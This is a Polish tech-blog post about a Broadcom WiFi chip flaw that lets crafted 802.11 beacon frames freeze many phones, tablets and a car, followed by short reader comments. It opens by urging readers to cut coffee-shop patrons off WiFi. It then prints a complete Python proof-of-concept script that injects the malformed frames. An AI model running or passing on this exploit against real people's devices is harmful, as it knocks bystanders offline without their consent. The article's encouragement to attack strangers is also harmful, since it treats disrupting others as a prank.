Macie już dość tych wszystkich hipsterów w Starbucksie, którzy bez przerwy wysyłają na Facebooka zdjęcia kubków z kawą ze swoich pięknych telefonów i tabletów? Laptop z Backtrackiem oraz jeden krótki skrypt w Pythonie wyłączy im dostęp do sieci WiFi.
Zespół CoreLabs już w sierpniu tego roku odkrył poważny błąd w sposobie, w jaki układy firmy Broadcom, odpowiedzialne za komunikację WiFi, przetwarzają otrzymane pakiety. Okazuje się, że układy BCM4325 oraz BCM4329, montowane w wielu popularnych urządzeniach, można zawiesić, wysyłając im regularnie odpowiednio spreparowane ramki 802.11. Zawieszony układ nie potrafi wysyłać ani odbierać innych pakietów niż te wysyłane przez atakującego. DoS trwa do momentu, kiedy ramki przestaną przechodzić – wtedy urządzenia wracają do normalnego działania.
Lista urządzeń podatnych na atak jest imponująca. Obejmuje takie modele jak iPhone 3GS, iPhone 4, iPod 2G, iPod 3G, iPad Wi-Fi, iPad 3G, iPad 2, HTC Touch Pro 2, HTC Droid Incredible, HTC Nexus One, HTC Evo 4G, HTC Droid Incredible 2, Samsung Spica, Motorola Xoom, Motorola Droid X2, Samsung Galaxy Tab, Samsung Galaxy S 4G, Samsung Nexus S, Sony Ericsson Xperia Play, Nokia Lumia 800, Asus Transformer Prime oraz, uwaga, Forda Edge (tak, taki samochód z własną siecią WiFi).
Aby przeprowadzić atak wystarczy poniższyoraz urządzenie z kartą WiFi, posiadające możliwość wstrzykiwania surowych ramek 802.11. Broadcom przygotował już łatę, jednak jej dystrybucja zajmie zapewne sporo czasu. Pamiętajcie o tym następnym razem, kiedy WiFi w Waszym telefonie przestanie działać.
------------------------- poc.py ------------------------- #!/usr/bin/env python import sys import time import struct import PyLorcon2 def beaconFrameGenerator(): sequence = 0 while(1): sequence = sequence % 4096 # Frame Control frame = '\x80' # Version: 0 - Type: Managment - Subtype: Beacon frame += '\x00' # Flags: 0 frame += '\x00\x00' # Duration: 0 frame += '\xff\xff\xff\xff\xff\xff' # Destination: ff:ff:ff:ff:ff:ff frame += '\x00\x00\x00\x15\xde\xad' # Source: 00:00:00:15:de:ad frame += '\x00\x00\x00\x15\xde\xad' # BSSID: 00:00:00:15:de:ad frame += struct.pack('H', sequence) # Fragment: 0 - Sequenence: part of the generator # Frame Body frame += struct.pack('Q', time.time()) # Timestamp frame += '\x64\x00' # Beacon Interval: 0.102400 seconds frame += '\x11\x04' # Capability Information: ESS, Privacy, Short Slot time # Information Elements # SSID: buggy frame += '\x00\x05buggy' # Supported Rates: 1,2,5.5,11,18,24,36,54 frame += '\x01\x08\x82\x84\x8b\x96\x24\x30\x48\x6c' # DS Parameter Set: 6 frame += '\x03\x01\x06' # RSN IE frame += '\x30' # ID: 48 frame += '\x14' # Size: 20 frame += '\x01\x00' # Version: 1 frame += '\x00\x0f\xac\x04' # Group cipher suite: TKIP frame += '\x01\x00' # Pairwise cipher suite count: 1 frame += '\x00\x0f\xac\x00' # Pairwise cipher suite 1: TKIP frame += '\xff\xff' # Authentication suites count: 65535 frame += '\x00\x0f\xac\x02' # Pairwise authentication suite 2: PSK frame += '\x00\x00' sequence += 1 yield frame if __name__ == "__main__": if len(sys.argv) != 2: print "Usage:" print "\t%s <wireless interface>" % sys.argv[0] sys.exit(-1) iface = sys.argv[1] context = PyLorcon2.Context(iface) context.open_injmon() generator = beaconFrameGenerator() for i in range(10000): frame = generator.next() time.sleep(0.100) context.send_bytes(frame)
Komentarze
Ola Boga! i co teraz?!
Sami restauratorzy będą pewnie z tego exploita korzystać aby wyganiać za długo siedzących, nic nie zamawiających klientów bawiących się swoimi komóreczkami ;F
Restauratorzy to sobie po prostu router wyłączą… :)
To jest chujowe nie dziala